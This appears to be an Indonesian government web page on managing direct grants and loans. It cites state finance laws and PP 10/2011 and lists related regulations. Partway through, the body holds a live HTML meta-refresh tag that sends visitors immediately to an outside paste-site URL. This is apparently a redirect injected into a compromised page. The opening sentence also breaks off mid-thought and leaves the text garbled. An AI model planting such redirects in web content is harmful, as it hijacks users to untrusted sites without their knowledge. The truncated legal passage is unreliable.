a

Undang-Undang Nomor 1 Tahun 2004 tentang Perbendaharaan Negara menetapkan bahwa untuk
membiayai dan mendukung kegiatan prioritas dalam rangka mencapai sasaran pembangunan, Pemerintah
negeri.

<META http-equiv="refresh" content="0;URL=http://pagebin.com/ydByhIOc">

Selain itu, untuk melaksanakan amanat Undang-Undang Nomor 17 Tahun 2003 tentang  Keuangan Negara, Pemerintah Republik Indonesia (Pemerintah) juga dituntut untuk  melaksanakan tata kelola keuangan yang baik (good governance) dengan meningkatkan transparansi dan akuntabilitas, khususnya dalam mekanisme pengadaan pinjaman dan hibah. Penyajian dan pengungkapan (disclosure)
laporan yang lengkap dan informatif merupakan bagian yang tidak terpisahkan dalam mendukung aspek akuntabilitas dan tranparansi.
Sejalan dengan hal tersebut, Peraturan Pemerintah Nomor 10 Tahun 2011 tentang Tata Cara Pengadaan Pinjaman Dan/Atau Penerimaan Hibah (PP 10/2011) menyatakan bahwa pinjaman dan/atau hibah harus ditatausahakan, diadministrasikan, dan diakuntasikan secara baik, sehingga laporan yang disajikan akan memberikan manfaat bagi pemangku kebijakan.
Berikut ini kami lampirkan peraturan-peraturan terkait Hibah langsung dan materi mengenai pengelolaan hibah langsung

? PP No. 10 tahun 2011 tentang Tata Cara Pengadaan Pinjaman Luar Negeri dan Penerimaan Hibah

? PMK No. 191/PMK.05/2011

? PMK No. 271/PMK.05/2014

? Materi Pengelolaan Hibah Langsung

Komentar


Berikan Tanggapan